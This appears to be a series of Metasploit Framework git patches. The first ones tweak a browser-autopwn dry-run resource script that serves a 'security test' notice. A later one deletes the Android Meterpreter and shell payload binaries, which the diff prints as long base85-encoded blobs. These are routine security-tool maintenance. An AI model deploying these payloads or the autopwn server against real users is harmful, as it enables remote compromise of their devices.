'notes -t baps.clicks' in msfconsole to see track clicks and client-specific exploit info.") +print_status("Exploits will not be actually served, but you will know which ones the clients might be vulnerable to.") +print_status("You can do 'notes -t baps.clicks' in msfconsole to track clicks and client-specific exploit info.") run_single("use exploit/multi/browser/autopwn") run_single("set RealList true") run_single("set MaxSessions 0") From 55a2aa43b52cf9ce6e9994541471e7283935a744 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 30 May 2015 19:31:28 -0500 Subject: [PATCH 0264/1013] Update bap_dryrun_only.rc --- scripts/resource/bap_dryrun_only.rc | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/scripts/resource/bap_dryrun_only.rc b/scripts/resource/bap_dryrun_only.rc index 2eb5619401..855aca5f4d 100644 --- a/scripts/resource/bap_dryrun_only.rc +++ b/scripts/resource/bap_dryrun_only.rc @@ -5,6 +5,12 @@ print_status("You can do 'notes -t baps.clicks' in msfconsole to track clicks an run_single("use exploit/multi/browser/autopwn") run_single("set RealList true") run_single("set MaxSessions 0") + +# Instead of set Content, you can also do set Custom404 to redirect the client to an SE training website +# For example (why don't you try this? :-) ) +# run_single("set Custom404 https://www.youtube.com/watch?v=dQw4w9WgXcQ") + run_single("set Content \"Hello, this is a security test. You shouldn't have clicked on that link :-)\"") + run_single("run") \ No newline at end of file From 64e86165ef804681514652695f403f4c922e7793 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Thu, 28 May 2015 17:34:34 -0500 Subject: [PATCH 0265/1013] remove android meterpreter bins, update to payloads 1.0.2 This switches us to using the Android payload files from the metasploit-payloads gem --- .gitignore | 3 +++ Gemfile.lock | 4 ++-- data/android/apk/AndroidManifest.xml | Bin 3680 -> 0 bytes data/android/apk/classes.dex | Bin 8908 -> 0 bytes data/android/apk/resources.arsc | Bin 580 -> 0 bytes data/android/libs/armeabi/libndkstager.so | Bin 13496 -> 0 bytes data/android/libs/mips/libndkstager.so | Bin 5424 -> 0 bytes data/android/libs/x86/libndkstager.so | Bin 5204 -> 0 bytes data/android/meterpreter.jar | Bin 42817 -> 0 bytes data/android/metstage.jar | Bin 1787 -> 0 bytes data/android/shell.jar | Bin 1818 -> 0 bytes lib/msf/core/exploit/android.rb | 3 +-- metasploit-framework.gemspec | 2 +- .../payloads/stagers/android/reverse_http.rb | 4 ++-- .../payloads/stagers/android/reverse_https.rb | 4 ++-- modules/payloads/stagers/android/reverse_tcp.rb | 4 ++-- modules/payloads/stages/android/meterpreter.rb | 7 ++----- modules/payloads/stages/android/shell.rb | 3 +-- 18 files changed, 16 insertions(+), 18 deletions(-) delete mode 100644 data/android/apk/AndroidManifest.xml delete mode 100644 data/android/apk/classes.dex delete mode 100644 data/android/apk/resources.arsc delete mode 100644 data/android/libs/armeabi/libndkstager.so delete mode 100644 data/android/libs/mips/libndkstager.so delete mode 100644 data/android/libs/x86/libndkstager.so delete mode 100644 data/android/meterpreter.jar delete mode 100644 data/android/metstage.jar delete mode 100644 data/android/shell.jar diff --git a/.gitignore b/.gitignore index 2151978a0c..532dcce24a 100644 --- a/.gitignore +++ b/.gitignore @@ -69,7 +69,10 @@ external/source/exploits/**/Release # the metasploit-payloads gem. data/meterpreter/*.dll data/meterpreter/*.bin +data/meterpreter/*.jar data/meterpreter/*.lso +data/android +data/java # Avoid checking in Meterpreter libs that are built from # private source. If you're interested in this functionality, diff --git a/Gemfile.lock b/Gemfile.lock index 6cc9dd5063..61f8b16fdc 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (~> 1.0) metasploit-model (~> 1.0) - metasploit-payloads (= 1.0.1) + metasploit-payloads (= 1.0.2) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.1) + metasploit-payloads (1.0.2) metasploit_data_models (1.1.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/data/android/apk/AndroidManifest.xml b/data/android/apk/AndroidManifest.xml deleted file mode 100644 index 8671dfed52c98005b2a05510b88b65a91b8e93de..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3680 zcmb`K&u&{q6vn?BH)$YE8zB5CP1}@GRUp-Y3L(^;l>m)MTok921tKvJ!0Mkwj;Tb2 zfCu0acm#x4^a*&DE?BT)6|sTeH@>HKCMnmgxYp-0_spE%oSC^kH>qh-o5!U>bNX{a zx}d@J+n}kJX}^Wm(5L7Yx`%#356~azZ*;tnuAn9KF}jEDqlq!;6Z9+ELzin(7u`pH zp|_7n-=W{p9=bd(t)NZxJ^C5_f*znfG^M-RQdhg`Xj^x*$oCg`4)!$F*6q|YjqNbD z#mJlbXkWZ^gq|2V&idN=j1gYvxO)1UcAs*To;wh_%-F$7uhZM(v!g3o;IpgG%kgd6 z^=y2d-fdV5_;<)-0n!%Ze7~OyT1OevCgLXFUolRc*X=a2qc2lj58rIbtfw4%^zRaP zD`nUtgI%(V_?q6t^F|_lLyzaaguExx2@QNZ^mQS2=#71rPNmrg>#sA@!EtphtEqLp z%M;V&dmZ-05hEL%<{~jIJ{x894PAru0rxFfjYO7Sdm`c@tn1KP%(0;r?iLeqnO5_O z^L#I@_;BL+5%XLlqlT8q>O);k*_b!H;!$_sYilM_OREs1GmnvjcYm2*NPqTz{MpBf z_i1?@4R(47)-^IXJtD!UvBGC~7o_;P)@4LiKJmk4Di+9KV%2rR*h<1JK&+gHlwUKtodG+($ zqVjD+c3uacg5gYDTfMSDM4jiz&tQ{tyqb1V`mvaV!(NUR#T+_@YAT8X@g~H~=q37j zP3a#lUW?RW?(uKhBKv(kO?#FPudsA^oGT=2Z+KJC%GnUZH4ygV*= zUV9bqnUZH4ygV*=vA_Sd-e*gmZSeBA;Q0)y@_Vl2*#<9<3!cxQiZ@&GY=f7_1ep`>$Q#i^0?r6?ke7?l4l#dJT7=Xvnt+P$+Hb! z9v3|Caqv#l&g&ol9;ANOOIaNI!Eu}ToNL6Lp`F)d{%v>|cbzO;FLRcCu7_ul_tVz= zS4&^;=eajOuE^c~7;}zxp1awvAhT^_FXm|v#|6)0!hfFjVLaz%o^9~*xbT}1y!oN= djt#%}F2-LN^7|~pe{sm~x?Ys;pzy~#^I!P7zs&#u diff --git a/data/android/apk/classes.dex b/data/android/apk/classes.dex deleted file mode 100644 index 598f2bd3db133b3eca4a6657dd7160cedfb38f32..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8908 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 diff --git a/data/android/apk/resources.arsc b/data/android/apk/resources.arsc deleted file mode 100644 index 03f6c44d2873fe60ae877cb150946896a918e315..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 580 zcmds!F$=;l6oju)q(g@ejvYEUck1Bapy1%*KMkbYk`cviKRA diff --git a/data/android/libs/armeabi/libndkstager.so b/data/android/libs/armeabi/libndkstager.so deleted file mode 100644 index f56cfbe78dfa29f17af241ba0bd689ff33b9d148..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 13496 zcmeHOd30OVnZIw5CC5&zIGgM|J6ZyfZ6e!o2q9r{Y-48ylRz6tXJlCtd5UFQ$O+B6$sQW>3N7g==-22 zjDQnJPi;K^h}=8iP}Aoz;8jI~3O|3hi|0r0ml9#<#yVaUFe{yR=Q`q-US1KS|@S zrg3JsJGVLPH+fndUe6A9f;s~3ZJq#Ief28)H7#pf9WJ)n9q@TvtgXf8_p}6VVy!-R z3-i07ae7|5v?bna{t0kuh+qG?S`FeL-pw;iTf2+3MUh|ErZ&cW8?Bz@B zfmVA3g^|);((kv|t=sqweo0l$9F4910Qzb?3@63ncW-WE&F*HWZ#zrIU*`@~*RDuw z!{KRjU$xEY_60nxEt7S%t$wH5HU99EHHd6$GY!e)Xi;Ww_1o9G1G2yM)`@njTbq4e zcL4T@j;wJLO=&ez{;l;J>j^;Q9vuOaGowEVj_AdeE0VaUbe1OiZ8HRgL!h*ZNmKS>s=u z_4MsE^JRHR zVbN@o)J0tMsu8VJhSF6dXRAM%b9tqGHM2Oc-)&m=tVOcM>vB=c$fnizKeyYoqs9W; zRg8<~k7RW{HUA*vG&{d~Jp31LTwY{dRP6xJbl^}1gq4-28 zt82{!%X&o9uIVn3tx~?ETXa`Nq5Rv{nl)FgzO80Q&9OR7H;)KHby<(BSgn=F$|M!G z>MGuE-BGiz_VP8i)hKlty}ZOf%sRPF(rSCjT8muL=bNqM^?}-oH5GBMO5LRrFX?*Y zejmNhyq8tT8uZHkjVI0PSqTP7W=%j(j03-bHTUC3oj8GP~dC$&!1jxG;uq#H1>h66P-BA2>0@E&V}N=DXZt?t%A*rb?p1F5nfh`~IpkZ&@X6D0-ar zbJmP7Z`FpGH8Y}FxvfT2=#x`Kd@`9Scu^g{2`_3F&C@#foaih0NbnngO3_0rXQ>xLytYRe7NH&{@ z8E-kh7IE2tGC+{^{i5`qR{QqKvK}q}4vYRO#wjfNM$95_(h6@IrEnRGhGS+qS1Z2V zXW7IQ!#IC4Lwx)61lJ$uWo%UaJyk3`W1~T0$1{z-I{eqKk+Lz@OJKCk;MJS>X>zQgxO|CqGqe~ z-KWXRtucPTu9S;hBK>TL->)srK(y5M{i?Q)MH^z7My8ZW!-<(cP&*%UztZcgi}wGz z>5EX7i+X|U6U!^jEP8E>vuvtjSl9Y)b@)#)X3dEdNn2{EFSLca($B(jtvb9&%_tQj zwD#5E@2Hu^?U;YM{@srEnqF?mcjZaUOrx$l?(2V5uJ(}sEEls0VGiXEb%w%E^sm;c z3G1v=626wGBG9xKU=

WMcUK-X@I4NBdIRPG%Js+R^-qz6!`O^F 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 DXnyX> diff --git a/data/android/libs/x86/libndkstager.so b/data/android/libs/x86/libndkstager.so deleted file mode 100644 index 358834f3007bb6fcca8a2bd5feaf8fce15995ad7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5204 zcmeHLe{3699e+t~t=Wv@LB_&bm^a;qyOm2)Le-H7YSpyOu-cHO<3|VP>bt}yj%|F` zDybs1B@NWN8AYSwuTDc+K@|cCsnb-!1eHQlA@z@d0`$)cjmgm_QKV`LTgUPFyu0VR zE<(V6Nd3xRf8Y1#`@Z+S_ujob{`t)Aj*bqYpi6WK#SKCjeK61riiFrGlHwuJBQ`)p zoxT>W@}JK#WMTvEj;bV+W13l{5RToyN#a$-yaF)mHo|t*AjtIT>Q;H-o|@vyvSyAGiG+8 zP%?{!V|K`zu02z5!8op&o66?$Q`rf#P!!MZ8_Di3Wy+>?hi>wSS+&HZ?N$nwa7vYG zq2x}8a>Xu*stwy*vFzBP^TAS4y4#lNnuv1Pao9^0z1by86bpwP*UCNpwBeM=OoucV zQmYs?O4bzIChaPDfyx!48yE#*dBq2T?ZCBUeX$lDb-kRtHgqzHC{6oGG&BEUK+0^TBJCoSM#U>5!>vLD%E_IX;Y zUH1X6u-fueudPVFhdhOAmn7dyo_}jUm;7e(3GzRbJe&C>`9;a=W#+=E5cmQR`4}VZ+shCNO}(~LC^$9ZhC1wzHrIy^jE+|m+G%kTYvo% zBnKJ?@qcoubZ5M@9)VY)me#fUeDMw6XAh#;L;dJ&|A(Z%5%{k+-uj13BXVeIF$8b3 zemkXuUwZC9s`3iy>JWb+jyCMx%$olABjfm^KQfUVXkRd?Ao9XVWi=~hB6KoGRZGos$K40 zs3F91dU&U(&o98S<|4%FdYZm)Y{nVZ8+#B#s^?##A++^Z^}TR!8X@rGFv6S-dvTb` zOkX?;liG49oNE!*y`Khw^iUa&O?uS5-v-L$oyxJ^y7y+FNwjOcaecV%y+iF~uhYAD znxoBNKwf+evL3xwME4mz;xC?}id<3O%Aqh+4fFaZ57S?}T%R9@hxed&tO6}2^-%^0 z>=LyoCsp%bWDxYJ!-qu@1S#sh7PgsW zIv3OrWf<^XewfL?4%4daq#tqtf05YNqsOj_Z<&V%1%^XB zlv*8!3#EelS-~Dc&lbl6E)K5Ap)Jn|c_59HMol-5Atvv(`7b3cDKPxMj(OJ@hG54X zpU`n^OmxgeIyOZ$?KIYsa_;tX@B03SX^@V^_r)|RlkaAbbGH|%SY*C)e=IQ;i=<-O z5`D&j7WCU&_10~@3;8MNvF$ef<0FBdhtC<{ap-wk5q1L415ZH4_a64S(3y%wzuT3H z#lNGaVm&X`iV{x$9XzNDdIP#Mph@tn zpnF083YrJikoO#@g}!;Ns+jlay&1SS1OFd05Z7+!$t`FV@7p-O<=*r#=pckWpuB?- zH-qQ>i!aaIKe=yU8z|Fw22K8FK;A?6 zK8$x!d7t3k%YHrzT*du@`zvE{?;}7Y`@oT0W{m#@cxP7d1B~&X8ZJ-c>&CXw8;@8Fiips_u%t$zT&{_TlmrD|90qHQ|%mOG7jUyyn8p2RS47L(z- zZHs0ro44SNYic2DR;%W$FnE%yHe#96g`6-Z%ZP$MLk10k;f5&;ylYI`B`8Z}*ES|g zM_^U7K6%uxI)!qHN&jcSnjo@HSR=$6A&cqJG)p@T#zfYR0@@N-1FSE`V@(l9 z(N=oKBR&S?eAAA#OJwb~+Of8t0xCP!JaK1e$GT=L+VMLDeJMKu8zO620c(=Bp8_g7 zK4ZikRD?h~0>5+6ZX0kfIv{>kB?lQ@$fiQdahyY<#AKTtRPs9s#k6bv)_c|Lj*w0M!D3Cn&q`qs@5z p6ar}X>7Xh9sUw~R@;iuvVc2n>QlR3|mVGMtGVCrW29$cjKLO5gy%hie diff --git a/data/android/meterpreter.jar b/data/android/meterpreter.jar deleted file mode 100644 index b1efa838202e54ff13cdf3378d06e57dc12aff84..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 42817 zcmbq(WmH>V^d;_6+@VF=;_g=5p}0eFcMl1W0;RM_DOQRXDeewQkOBpYyHgwrK@%(t zzyF6>^JV7CWWB8Q-n;kRclJ5^>~q#l^tCXtDADln@X(a(-l(GeA0J9IEHoVzBSl^f zT~&S^MO_V56+p-Tp<>II4}TlWgoN)2UUe+qRCTyuic|b$SJ6|+ 